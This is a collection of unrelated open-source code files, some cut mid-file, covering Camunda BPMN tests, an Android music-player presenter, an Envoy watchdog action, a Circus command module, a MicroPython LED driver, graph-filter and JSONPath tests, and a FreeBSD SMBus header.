synchronized (unreadNotifications)
{
int count = 0;
for(UINotification n : unreadNotifications)
count += n.getUnreadObjects();
return count;
}
}
}
| 1,388
|
403
|
package org.camunda.bpm.demo.executify;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.util.Collection;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.apache.commons.io.FileUtils;
import org.apache.ibatis.logging.LogFactory;
import org.camunda.bpm.engine.repository.DeploymentBuilder;
import org.camunda.bpm.engine.test.ProcessEngineRule;
import org.camunda.bpm.model.bpmn.Bpmn;
import org.camunda.bpm.model.bpmn.BpmnModelInstance;
import org.camunda.bpm.model.bpmn.instance.Task;
import org.camunda.bpm.model.cmmn.Cmmn;
import org.camunda.bpm.model.cmmn.CmmnModelInstance;
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import static org.camunda.bpm.engine.test.assertions.ProcessEngineTests.*;
import static org.junit.Assert.*;
/**
* Test case starting an in-memory database-backed Process Engine.
*/
public class InMemoryH2Test {
private static final String INPUT_DIR = "/models/";
private static final String OUTPUT_DIR = "src/test/resources/models/";
@Rule
public ProcessEngineRule rule = new ProcessEngineRule();
static {
LogFactory.useSlf4jLogging(); // MyBatis
}
@Before
public void setup() {
init(rule.getProcessEngine());
}
@Test
public void testProcess() throws IOException {
String fileName = "request-process.bpmn";
InputStream stream = getClass().getResourceAsStream(INPUT_DIR + fileName);
BpmnModelInstance modelInstance = new BpmnExecutifier().executify(stream);
String xml = Bpmn.convertToString(modelInstance);
writeToFile(fileName, xml);
repositoryService()
.createDeployment()
.addString(fileName, xml)
.deploy();
}
@Test
public void testCase() throws IOException {
String fileName = "Case.cmmn";
InputStream stream = getClass().getResourceAsStream(INPUT_DIR + fileName);
CmmnModelInstance modelInstance = new CmmnExecutifier().executify(stream);
String xml = Cmmn.convertToString(modelInstance);
writeToFile(fileName, xml);
repositoryService()
.createDeployment()
.addString(fileName, xml)
.deploy();
}
@Test
public void testCaseWithOptions() throws IOException {
String fileName = "Case.cmmn";
InputStream stream = getClass().getResourceAsStream(INPUT_DIR + fileName);
CmmnExecutifier cmmnExecutifier = new CmmnExecutifier();
cmmnExecutifier.setGeneratePredictableConditionExpressions(true);
CmmnModelInstance modelInstance = cmmnExecutifier.executify(stream);
String xml = Cmmn.convertToString(modelInstance);
writeToFile(fileName, xml);
repositoryService()
.createDeployment()
.addString(fileName, xml)
.deploy();
}
@Test
public void makeModelsDeployable() throws IOException {
String[] fileNames = {"ApplicationCheck.cmmn", "InsuranceApplication.bpmn", "RiskAssessment.dmn"};
makeModelsDeployable(fileNames);
}
@Test
public void testCallActivities() throws IOException {
String[] fileNames = {"CallActivityTest.bpmn", "A.bpmn"};
makeModelsDeployable(fileNames);
}
private void makeModelsDeployable(String[] fileNames) throws IOException {
Map<String,InputStream> models = new HashMap<String, InputStream> ();
for (String fileName: fileNames) {
models.put(fileName, getClass().getResourceAsStream(INPUT_DIR + fileName));
}
Executify executify = new Executify();
executify.setGeneratePredictableConditionExpressions(true);
executify.setRemoveDecisionRefs(true);
executify.setAllProcessesExecutable(true);
Collection<ExecutableModel> executableModels = executify.makeExecutable(models).values();
for (ExecutableModel executableModel : executableModels) {
writeToFile(executableModel.getFilename(), executableModel.getXmlString());
}
DeploymentBuilder deployment = repositoryService().createDeployment();
for (ExecutableModel executableModel : executableModels) {
executableModel.addToDeployment(deployment);
}
deployment.deploy();
}
@Test
public void testBpmnToCmmn() throws IOException {
String fileName = "InsuranceApplication.bpmn";
BpmnModelInstance bpmnModelInstance = Bpmn.readModelFromStream(getClass().getResourceAsStream(INPUT_DIR + fileName));
CmmnModelInstance cmmnModelInstance = Cmmn.readModelFromStream(getClass().getResourceAsStream("/SampleSubCase.cmmn"));
Collection<Task> bpmnTasks = bpmnModelInstance.getModelElementsByType(Task.class);
org.camunda.bpm.model.cmmn.instance.Task cmmnSampleTask = cmmnModelInstance.getModelElementsByType(org.camunda.bpm.model.cmmn.instance.Task.class).iterator().next();
for (Task task : bpmnTasks) {
cmmnSampleTask.setName(task.getName());
}
Cmmn.writeModelToFile(new File(OUTPUT_DIR + fileName + ".cmmn"), cmmnModelInstance);
}
private void writeToFile(String fileName, String xml) throws IOException {
FileUtils.writeStringToFile(new File(OUTPUT_DIR + fileName.replace(".bpmn", ".executable.bpmn").replace(".cmmn", ".executable.cmmn").replace(".dmn", ".executable.dmn")), xml);
}
}
| 1,798
|
6,098
|
<reponame>ahmedengu/h2o-3<filename>h2o-core/src/main/java/water/udf/CFuncLoaderService.java<gh_stars>1000+
package water.udf;
import java.util.Iterator;
import java.util.ServiceLoader;
/**
* Loader for custom function providers.
*
* A provider provides a way to instantiate given function reference (given as {@link CFuncRef}).
* It needs to publish {@link CFuncLoader} implementation via Java SPI.
*/
public class CFuncLoaderService {
public static CFuncLoaderService INSTANCE = new CFuncLoaderService();
private final ServiceLoader<CFuncLoader> loader;
public CFuncLoaderService() {
loader = ServiceLoader.load(CFuncLoader.class);
}
synchronized public CFuncLoader getByLang(String lang) {
Iterator<CFuncLoader> it = loader.iterator();
while (it.hasNext()) {
CFuncLoader ul = it.next();
if (ul.getLang().equals(lang)) {
return ul;
}
}
return null;
}
}
| 313
|
414
|
<reponame>madflojo/automon
'''
Test monitoring.py schedule()
'''
import mock
import unittest
from monitoring import schedule
class ScheduleTest(unittest.TestCase):
''' Run unit tests against the schedule method '''
def setUp(self):
''' Setup mocked data '''
self.config = {}
self.dbc = mock.Mock()
self.logger = mock.Mock(**{
'info.return_value' : True,
'debug.return_value' : True,
'critical.return_value' : True,
'warn.return_value' : True,
'error.return_value' : True
})
self.target = {'ip' : '10.0.0.1', 'hostname' : 'localhost'}
def tearDown(self):
''' Destroy mocked data '''
self.config = None
self.dbc = None
self.logger = None
self.target = None
class TestCronSchedule(ScheduleTest):
''' Test when a cron based schedule is provided '''
@mock.patch('monitoring.CronTrigger')
def runTest(self, mock_triggered):
''' Execute test '''
scheduler = mock.Mock(**{
'add_job.return_value' : True
})
self.target.update({
'runbooks' : {
'test' : {
'schedule' : "* * * * *",
}
}
})
self.assertTrue(schedule(
scheduler,
"test",
self.target,
self.config,
self.dbc,
self.logger))
self.assertTrue(mock_triggered.called_with(
minute="*",
hour="*",
day="*",
month="*",
day_of_week="*"))
class TestSpecificSchedule(ScheduleTest):
''' Test when a cron based schedule is provided '''
@mock.patch('monitoring.CronTrigger')
def runTest(self, mock_triggered):
''' Execute test '''
scheduler = mock.Mock(**{
'add_job.return_value' : True
})
self.target.update({
'runbooks' : {
'test' : {
'schedule' : {
'second' : 1,
'minute' : 1,
'hour' : 1,
'day' : 1,
'month' : 1,
'day_of_week' : 1
},
}
}
})
self.assertTrue(schedule(
scheduler,
"test",
self.target,
self.config,
self.dbc,
self.logger))
self.assertTrue(mock_triggered.called_with(
second=1,
minute=1,
hour=1,
day=1,
month=1,
day_of_week=1))
class TestNoSchedule(ScheduleTest):
''' Test when a cron based schedule is provided '''
@mock.patch('monitoring.CronTrigger')
def runTest(self, mock_triggered):
''' Execute test '''
scheduler = mock.Mock(**{
'add_job.return_value' : True
})
self.target.update({
'runbooks' : {
'test' : {
}
}
})
self.assertTrue(schedule(
scheduler,
"test",
self.target,
self.config,
self.dbc,
self.logger))
self.assertTrue(mock_triggered.called_with(
second=0,
minute='*',
hour='*',
day='*',
month='*',
day_of_week='*'))
| 1,989
|
2,181
|
<reponame>yaplej/bro<filename>src/WeirdState.h
// See the file "COPYING" in the main distribution directory for copyright.
#pragma once
#include <string>
#include <unordered_map>
namespace zeek::detail
{
struct WeirdState
{
WeirdState() = default;
uint64_t count = 0;
double sampling_start_time = 0;
};
using WeirdStateMap = std::unordered_map<std::string, WeirdState>;
bool PermitWeird(WeirdStateMap& wsm, const char* name, uint64_t threshold, uint64_t rate,
double duration);
} // namespace zeek::detail
| 198
|
331
|
package com.freedom.lauzy.ticktockmusic.presenter;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.drawable.Drawable;
import android.support.annotation.Nullable;
import android.support.v4.content.ContextCompat;
import com.bumptech.glide.request.target.SimpleTarget;
import com.bumptech.glide.request.transition.Transition;
import com.freedom.lauzy.interactor.ConfigManagerUseCase;
import com.freedom.lauzy.interactor.FavoriteSongUseCase;
import com.freedom.lauzy.interactor.LrcUseCase;
import com.freedom.lauzy.model.SongType;
import com.freedom.lauzy.ticktockmusic.R;
import com.freedom.lauzy.ticktockmusic.base.BaseRxPresenter;
import com.freedom.lauzy.ticktockmusic.contract.PlayContract;
import com.freedom.lauzy.ticktockmusic.function.DefaultDisposableObserver;
import com.freedom.lauzy.ticktockmusic.function.RxHelper;
import com.freedom.lauzy.ticktockmusic.model.SongEntity;
import com.freedom.lauzy.ticktockmusic.model.mapper.FavoriteMapper;
import com.freedom.lauzy.ticktockmusic.utils.FileManager;
import com.freedom.lauzy.ticktockmusic.utils.ThemeHelper;
import com.lauzy.freedom.data.net.constants.NetConstants;
import com.lauzy.freedom.librarys.common.LogUtil;
import com.lauzy.freedom.librarys.imageload.ImageConfig;
import com.lauzy.freedom.librarys.imageload.ImageLoader;
import com.lauzy.freedom.librarys.view.blur.ImageBlur;
import com.lauzy.freedom.librarys.view.util.ColorUtil;
import com.lauzy.freedom.librarys.view.util.PaletteColor;
import com.lauzy.freedom.librarys.widght.music.lrc.Lrc;
import com.lauzy.freedom.librarys.widght.music.lrc.LrcHelper;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.util.Collections;
import java.util.HashMap;
import java.util.List;
import javax.inject.Inject;
import io.reactivex.Observable;
import io.reactivex.functions.Function;
/**
* Desc : 播放Presenter
* Author : Lauzy
* Date : 2017/9/7
* Blog : http://www.jianshu.com/u/e76853f863a9
* Email : <EMAIL>
*/
public class PlayPresenter extends BaseRxPresenter<PlayContract.View>
implements PlayContract.Presenter {
private FavoriteSongUseCase mFavoriteSongUseCase;
private LrcUseCase mLrcUseCase;
private ConfigManagerUseCase mConfigManagerUseCase;
private FavoriteMapper mFavoriteMapper;
private static final String TAG = "PlayPresenter";
private HashMap<String, Integer> mColorMap = new HashMap<>();
@Inject
PlayPresenter(FavoriteSongUseCase favoriteSongUseCase, LrcUseCase lrcUseCase,
ConfigManagerUseCase configManagerUseCase, FavoriteMapper favoriteMapper) {
mFavoriteSongUseCase = favoriteSongUseCase;
mLrcUseCase = lrcUseCase;
mConfigManagerUseCase = configManagerUseCase;
mFavoriteMapper = favoriteMapper;
}
@Override
public void setCoverImgUrl(long songId, Object url) {
if (getView() == null) {
return;
}
String urlString = String.valueOf(url);
mFavoriteSongUseCase.isFavoriteSong(songId)
.subscribe(isFavorite -> {
if (getView() == null) {
return;
}
ImageLoader.getInstance().display(getView().getContext(), new ImageConfig.Builder()
.asBitmap(true)
.url(url)
.isRound(false)
.intoTarget(new SimpleTarget<Bitmap>() {
@Override
public void onResourceReady(Bitmap resource, Transition<? super Bitmap> transition) {
if (getView() == null) {
return;
}
getView().setPlayView(resource);
Bitmap bg = Bitmap.createBitmap(resource);
if (mColorMap.get(urlString) == null) {
PaletteColor.mainColorObservable(ThemeHelper.getThemeColorResId(getView().getContext()), resource)
.subscribe(color -> {
mColorMap.put(urlString, color);
getView().setViewBgColor(color);
judgeColorDepth(color);
});
} else {
Integer color = mColorMap.get(urlString);
getView().setViewBgColor(color);
judgeColorDepth(color);
}
getView().setCoverBackground(ImageBlur.onStackBlur(bg, 50));
}
private void judgeColorDepth(Integer color) {
if (ColorUtil.isDarkColor(color)) {
getView().showLightViews(isFavorite);
} else {
getView().showDarkViews(isFavorite);
}
}
@Override
public void onLoadFailed(@Nullable Drawable errorDrawable) {
super.onLoadFailed(errorDrawable);
if (getView() == null) {
return;
}
getView().showDarkViews(isFavorite);
Bitmap bitmap = BitmapFactory.decodeResource(getView().getContext().getResources(), R.drawable.ic_default);
getView().setPlayView(bitmap);
getView().setViewBgColor(ContextCompat.getColor(getView().getContext(), R.color.gray_dark));
getView().setCoverBackground(bitmap);
}
}).build());
});
}
@Override
public void addFavoriteSong(SongEntity entity) {
mFavoriteSongUseCase.buildObservable(mFavoriteMapper.transform(entity))
.compose(RxHelper.ioMain())
.subscribe(value -> {
LogUtil.i(TAG, "add value is " + value);
if (value != -1 && getView() != null) {
getView().addFavoriteSong();
}
});
}
@Override
public void deleteFavoriteSong(long songId) {
mFavoriteSongUseCase.deleteFavoriteSong(songId).subscribe(aLong -> {
LogUtil.i(TAG, "delete value is " + aLong);
if (getView() == null) {
return;
}
getView().deleteFavoriteSong();
});
}
@Override
public void loadLrc(SongEntity entity) {
LrcUseCase.Param param = new LrcUseCase.Param(entity.title, "");
String fileName = entity.title + "-" + entity.artistName + ".lrc";
File lrcFile = new File(FileManager.getInstance().getLrcDir().getAbsolutePath(), fileName);
Observable.just(lrcFile)
.flatMap(file -> {
if (file.exists() && file.canRead()) {
return Observable.just(file);
}
if (entity.type.equals(SongType.LOCAL)) {
return mLrcUseCase.buildObservable(param)
.flatMap(responseBody -> {
boolean saveFile = FileManager.getInstance().saveFile
(responseBody.byteStream(), fileName);
return saveFile ? Observable.just(file) : null;
});
} else {
return mLrcUseCase.getBaiduLrcData(NetConstants.Value.METHOD_LRC, entity.id)
.flatMap(s -> {
boolean saveFile = FileManager.getInstance().saveFile(new
ByteArrayInputStream(s.getBytes("utf-8")), fileName);
return saveFile ? Observable.just(file) : null;
});
}
})
.map((Function<File, List<Lrc>>) file -> {
if (file == null || !file.exists()) {
return Collections.emptyList();
}
return LrcHelper.parseLrcFromFile(file);
})
.compose(RxHelper.ioMain())
.subscribeWith(new DefaultDisposableObserver<List<Lrc>>() {
@Override
protected void onStart() {
super.onStart();
if (getView() == null) {
return;
}
getView().startDownloadLrc();
}
@Override
public void onNext(List<Lrc> lrcs) {
super.onNext(lrcs);
if (getView() == null) {
return;
}
getView().downloadLrcSuccess(lrcs);
}
@Override
public void onError(Throwable e) {
super.onError(e);
if (getView() == null) {
return;
}
getView().downloadFailed(e);
}
});
}
@Override
public void setRepeatMode(int mode) {
mConfigManagerUseCase.setRepeatMode(mode);
}
@Override
public int getRepeatMode(int defaultMode) {
return mConfigManagerUseCase.getRepeatMode(defaultMode);
}
}
| 5,637
|
17,703
|
<filename>source/common/watchdog/abort_action.cc
#include "source/common/watchdog/abort_action.h"
#include "envoy/thread/thread.h"
#include "source/common/common/assert.h"
#include "source/common/common/fmt.h"
#include "source/common/common/logger.h"
#include "source/common/protobuf/utility.h"
#include "source/common/thread/terminate_thread.h"
namespace Envoy {
namespace Watchdog {
namespace {
constexpr uint64_t DefaultWaitDurationMs = 5000;
} // end namespace
AbortAction::AbortAction(envoy::watchdog::v3::AbortActionConfig& config,
Server::Configuration::GuardDogActionFactoryContext& /*context*/)
: wait_duration_(absl::Milliseconds(
PROTOBUF_GET_MS_OR_DEFAULT(config, wait_duration, DefaultWaitDurationMs))) {}
void AbortAction::run(
envoy::config::bootstrap::v3::Watchdog::WatchdogAction::WatchdogEvent /*event*/,
const std::vector<std::pair<Thread::ThreadId, MonotonicTime>>& thread_last_checkin_pairs,
MonotonicTime /*now*/) {
if (thread_last_checkin_pairs.empty()) {
ENVOY_LOG_MISC(warn, "Watchdog AbortAction called without any thread.");
return;
}
// The following lines of code won't be considered covered by code coverage
// tools since they would run in DEATH tests.
const auto& thread_id = thread_last_checkin_pairs[0].first;
const std::string tid_string = thread_id.debugString();
ENVOY_LOG_MISC(error, "Watchdog AbortAction terminating thread with tid {}.", tid_string);
if (Thread::terminateThread(thread_id)) {
// Successfully signaled to thread to terminate, sleep for wait_duration.
absl::SleepFor(wait_duration_);
} else {
ENVOY_LOG_MISC(error, "Failed to terminate tid {}", tid_string);
}
// Abort from the action since the signaled thread hasn't yet crashed the process.
// Panicing in the action gives flexibility since it doesn't depend on
// external code to kill the process if the signal fails.
PANIC(fmt::format(
"Failed to terminate thread with id {}, aborting from Watchdog AbortAction instead.",
tid_string));
}
} // namespace Watchdog
} // namespace Envoy
| 709
|
820
|
<reponame>BradleyKirton/circus
import copy
import textwrap
import time
from circus.exc import MessageError
from circus.commands import errors
KNOWN_COMMANDS = []
def get_commands():
commands = {}
for c in KNOWN_COMMANDS:
cmd = c()
commands[c.name] = cmd.copy()
return commands
def ok(props=None):
resp = {"status": "ok", "time": time.time()}
if props:
resp.update(props)
return resp
def error(reason="unknown", tb=None, errno=errors.NOT_SPECIFIED):
return {
"status": "error",
"reason": reason,
"tb": tb,
"time": time.time(),
"errno": errno
}
class CommandMeta(type):
def __new__(cls, name, bases, attrs):
super_new = type.__new__
parents = [b for b in bases if isinstance(b, CommandMeta)]
if not parents:
return super_new(cls, name, bases, attrs)
attrs["order"] = len(KNOWN_COMMANDS)
new_class = super_new(cls, name, bases, attrs)
new_class.fmt_desc()
KNOWN_COMMANDS.append(new_class)
return new_class
def fmt_desc(cls):
desc = textwrap.dedent(cls.__doc__).strip()
setattr(cls, "desc", desc)
setattr(cls, "short", desc.splitlines()[0])
class Command(object):
name = None
msg_type = "dealer"
options = []
properties = []
waiting = False
waiting_options = [('waiting', 'waiting', False,
"Waiting the real end of the process")]
##################################################
# These methods run within the circusctl process #
##################################################
def make_message(self, **props):
name = props.pop("command", self.name)
return {"command": name, "properties": props or {}}
def message(self, *args, **opts):
raise NotImplementedError("message function isn't implemented")
def console_error(self, msg):
return "error: %s" % msg.get("reason")
def console_msg(self, msg):
if msg.get('status') == "ok":
return "ok"
return self.console_error(msg)
def copy(self):
return copy.copy(self)
################################################
# These methods run within the circusd process #
################################################
def execute(self, arbiter, props):
raise NotImplementedError("execute function is not implemented")
def _get_watcher(self, arbiter, watcher_name):
"""Get watcher from the arbiter if any."""
try:
return arbiter.get_watcher(watcher_name.lower())
except KeyError:
raise MessageError("program %s not found" % watcher_name)
def validate(self, props):
if not self.properties:
return
for propname in self.properties:
if propname not in props:
raise MessageError("message invalid %r is missing" % propname)
Command = CommandMeta('Command', (Command,), {})
| 1,221
|
13,648
|
/*
* This file is part of the MicroPython project, http://micropython.org/
*
* The MIT License (MIT)
*
* Copyright (c) 2020 <NAME>
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
#include "fsl_gpio.h"
#include "fsl_iomuxc.h"
#include "py/runtime.h"
#include "py/mphal.h"
#include "led.h"
#if NUM_LEDS
const machine_led_obj_t machine_led_obj[NUM_LEDS] = {
{
.base = {&machine_led_type},
.led_id = 1U,
.led_pin = &MICROPY_HW_LED1_PIN,
}
};
void led_init(void) {
// Turn off LEDs and initialize
for (mp_int_t led = 0; led < NUM_LEDS; led++) {
const machine_pin_obj_t *led_pin = machine_led_obj[led].led_pin;
gpio_pin_config_t pin_config = {
.outputLogic = 1U,
.direction = kGPIO_DigitalOutput,
.interruptMode = kGPIO_NoIntmode,
};
GPIO_PinInit(led_pin->gpio, led_pin->pin, &pin_config);
// ALT mode for GPIO is always 5
IOMUXC_SetPinMux(led_pin->muxRegister, 5U, 0, 0, led_pin->configRegister,
1U); // Software Input On Field: Input Path is determined by functionality
IOMUXC_SetPinConfig(led_pin->muxRegister, 5U, 0, 0, led_pin->configRegister, 0x10B0U);
MICROPY_HW_LED_OFF(led_pin);
}
}
void led_state(machine_led_t led, int state) {
if (led < 1 || led > NUM_LEDS) {
return;
}
const machine_pin_obj_t *led_pin = machine_led_obj[led - 1].led_pin;
if (state == 0) {
// turn LED off
MICROPY_HW_LED_OFF(led_pin);
} else {
// turn LED on
MICROPY_HW_LED_ON(led_pin);
}
}
void led_toggle(machine_led_t led) {
if (led < 1 || led > NUM_LEDS) {
return;
}
const machine_pin_obj_t *led_pin = machine_led_obj[led - 1].led_pin;
mp_hal_pin_toggle(led_pin);
}
void led_debug(int value, int delay) {
for (mp_int_t i = 0; i < NUM_LEDS; i++) {
led_state(i + 1, (value & (1 << i)));
}
mp_hal_delay_ms(delay);
}
#else
void led_init(void) {
}
#endif
| 1,243
|
362
|
package edu.uci.ics.jung.algorithms.filters.impl;
import com.google.common.collect.ImmutableSet;
import com.google.common.graph.Graph;
import com.google.common.graph.GraphBuilder;
import com.google.common.graph.ImmutableGraph;
import com.google.common.graph.MutableGraph;
import edu.uci.ics.jung.algorithms.filters.KNeighborhoodFilter;
import junit.framework.TestCase;
public class TestKNeighborhoodFilter extends TestCase {
MutableGraph<Number> graph;
// TODO: test multiple root nodes
public void testDirected() {
graph = GraphBuilder.directed().allowsSelfLoops(true).build();
populateGraph(graph);
MutableGraph<Number> expected = GraphBuilder.directed().allowsSelfLoops(true).build();
expected.putEdge(0, 1);
expected.putEdge(0, 2);
expected.putEdge(2, 3);
expected.putEdge(2, 4);
expected.putEdge(3, 0);
expected.putEdge(3, 3);
Graph<Number> filtered =
KNeighborhoodFilter.filterGraph(ImmutableGraph.copyOf(graph), ImmutableSet.of(0), 2);
assertEquals(expected, filtered);
}
public void testUndirected() {
graph = GraphBuilder.undirected().allowsSelfLoops(true).build();
populateGraph(graph);
MutableGraph<Number> expected = GraphBuilder.undirected().allowsSelfLoops(true).build();
expected.putEdge(0, 1);
expected.putEdge(0, 2);
expected.putEdge(2, 3);
expected.putEdge(2, 4);
expected.putEdge(0, 3);
expected.putEdge(3, 5);
expected.putEdge(5, 0);
expected.putEdge(5, 6);
expected.putEdge(3, 3);
Graph<Number> filtered =
KNeighborhoodFilter.filterGraph(ImmutableGraph.copyOf(graph), ImmutableSet.of(0), 2);
assertEquals(expected, filtered);
}
private void populateGraph(MutableGraph<Number> graph) {
graph.putEdge(0, 1);
graph.putEdge(0, 2);
graph.putEdge(2, 3);
graph.putEdge(2, 4);
graph.putEdge(3, 5);
graph.putEdge(5, 6);
graph.putEdge(5, 0);
graph.putEdge(3, 0);
graph.putEdge(6, 7);
graph.putEdge(3, 3);
graph.addNode(8);
}
}
| 770
|
417
|
<gh_stars>100-1000
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package de.delbrueg.steering.wheelAngle;
/**
*
* @author Tim
*/
public enum WheelAngleCalculators {
/**
* Just calculates the quotient of trackWidth and radius of driveCircle.
* Uses a sign corrector to get left/right signums
*/
SimpleQuotient {
protected WheelAngleCalculator create() {
return new SignDirectionCorrector<WheelAngleCalculator>(new SimpleQuotientWheelAngle());
}
},
/**
* Calculates the quotient of trackWidth and radius of driveCircle.
* It also corrects under/oversteering and takes into account the lateral acceleration.
*
* Uses a sign corrector to get left/right signums
*/
ExtendedQuotient {
protected WheelAngleCalculator create() {
return new SignDirectionCorrector<WheelAngleCalculator>(new ExtendedQuotientWheelAngle());
}
};
/**
* abstract version so that the others can override it
* @return
*/
protected abstract WheelAngleCalculator create();
/**
* the TargetPositionPredictor we use
*/
private WheelAngleCalculator wac = null;
/**
* get the TargetPositionPredictor, create one if neccessary
* @return
*/
public WheelAngleCalculator get(){
if( wac == null ){
wac = /*new TestStraightFirstWheelAngleCalculator(*/create()/*)*/;
}
return wac;
}
}
| 579
|
1,585
|
/*
* Copyright (c) 2014 Intel, Inc. All rights reserved.
* Copyright (c) 2017-2020 Amazon.com, Inc. or its affiliates.
* All Rights reserved.
* $COPYRIGHT$
*
* Additional copyrights may follow
*
* $HEADER$
*/
#ifndef MCA_REACHABLE_WEIGHTED_H
#define MCA_REACHABLE_WEIGHTED_H
#include "opal_config.h"
#ifdef HAVE_SYS_SOCKET_H
# include <sys/socket.h>
#endif
#ifdef HAVE_SYS_UN_H
# include <sys/un.h>
#endif
#include "opal/mca/mca.h"
#include "opal/mca/reachable/reachable.h"
#include "opal/util/event.h"
#include "opal/util/proc.h"
#include "opal/mca/pmix/base/base.h"
BEGIN_C_DECLS
typedef struct {
opal_reachable_base_component_t super;
} opal_reachable_weighted_component_t;
OPAL_DECLSPEC extern opal_reachable_weighted_component_t mca_reachable_weighted_component;
OPAL_DECLSPEC extern const opal_reachable_base_module_t opal_reachable_weighted_module;
END_C_DECLS
#endif /* MCA_REACHABLE_WEIGHTED_H */
| 417
|
28,056
|
<filename>src/test/java/com/alibaba/json/bvt/path/JSONPath_1.java<gh_stars>1000+
package com.alibaba.json.bvt.path;
import org.junit.Assert;
import com.alibaba.fastjson.JSONPath;
import com.alibaba.fastjson.JSONPathException;
import junit.framework.TestCase;
public class JSONPath_1 extends TestCase {
public void test_path_empty() throws Exception {
Throwable error = null;
try {
JSONPath.compile("");
} catch (JSONPathException ex) {
error = ex;
}
Assert.assertNotNull(error);
}
public void test_path_null() throws Exception {
Throwable error = null;
try {
JSONPath.compile(null);
} catch (JSONPathException ex) {
error = ex;
}
Assert.assertNotNull(error);
}
public void test_path_null_1() throws Exception {
Throwable error = null;
try {
new JSONPath(null);
} catch (JSONPathException ex) {
error = ex;
}
Assert.assertNotNull(error);
}
}
| 491
|
432
|
/*-
* Copyright (c) 2005 <NAME>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* $FreeBSD: src/sys/dev/acpica/acpi_smbus.h,v 1.1 2005/10/23 00:20:13 njl Exp $
*/
#ifndef _ACPI_SMBUS_H_
#define _ACPI_SMBUS_H_
/*
* System Management Bus register offsets
*/
#define SMBUS_PRTCL 0
#define SMBUS_STS 1
#define SMBUS_STS_MASK 0x1f
#define SMBUS_ADDR 2
#define SMBUS_CMD 3
#define SMBUS_DATA 4 /* 32 bytes */
#define SMBUS_BCNT 36
#define SMBUS_ALRM_ADDR 37
#define SMBUS_ALRM_DATA 38 /* 2 bytes */
/*
* Smart-Battery commands and definitions
*/
/* Base address */
#define SMBATT_ADDRESS 0x16
/* access: READ WRITE WORD */
#define SMBATT_CMD_MANUFACTURER_ACCESS 0
/*
* access: READ WRITE WORD
* unit : mAh (CAPACITY_MODE=0) or 10 mWh (CAPACITY_MODE=1)
* range : 0 .. 65535 inclusively
*/
#define SMBATT_CMD_REMAINING_CAPACITY_ALARM 0x1
/*
* access: READ WRITE WORD
* unit : minutes
* range : 0 .. 65535 inclusively
*/
#define SMBATT_CMD_REMAINING_TIME_ALARM 0x2
/* access: READ WRITE WORD */
#define SMBATT_CMD_BATTERY_MODE 0x3
#define SMBATT_BM_INTERNAL_CHARGE_CONTROLLER (1 << 0) /* READ */
#define SMBATT_BM_PRIMARY_BATTERY_SUPPORT (1 << 1) /* READ */
#define SMBATT_BM_CONDITION_FLAG (1 << 7) /* READ */
#define SMBATT_BM_CHARGE_CONTROLLER_ENABLED (1 << 8) /* READ WRITE */
#define SMBATT_BM_PRIMARY_BATTERY (1 << 9) /* READ WRITE */
#define SMBATT_BM_ALARM_MODE (1 << 13) /* READ WRITE */
#define SMBATT_BM_CHARGER_MODE (1 << 14) /* READ WRITE */
#define SMBATT_BM_CAPACITY_MODE (1 << 15) /* READ WRITE */
/*
* access: READ WRITE WORD
* unit : mAh (CAPACITY_MODE=0) or 10 mWh (CAPACITY_MODE=1)
* range : signed WORD
*/
#define SMBATT_CMD_AT_RATE 0x4
/*
* access: READ WORD
* unit : minutes
* range : 0 .. 65534, 65535 has special meaning
*/
#define SMBATT_CMD_AT_RATE_TIME_TO_FULL 0x5
/*
* access: READ WORD
* unit : minutes
* range : 0 .. 65534, 65535 has special meaning
*/
#define SMBATT_CMD_AT_RATE_TIME_TO_EMPTY 0x6
/*
* access: READ WORD */
#define SMBATT_CMD_AT_RATE_OK 0x7
/*
* access: READ WORD
* unit : 0.1 degrees Kelvin
* range : 0 .. 6553.5 Kelvin
*/
#define SMBATT_CMD_TEMPERATURE 0x8
/*
* access: READ WORD
* unit : mV
* range : 0 .. 65535 inclusively
*/
#define SMBATT_CMD_VOLTAGE 0x9
/*
* access: READ WORD
* unit : mA
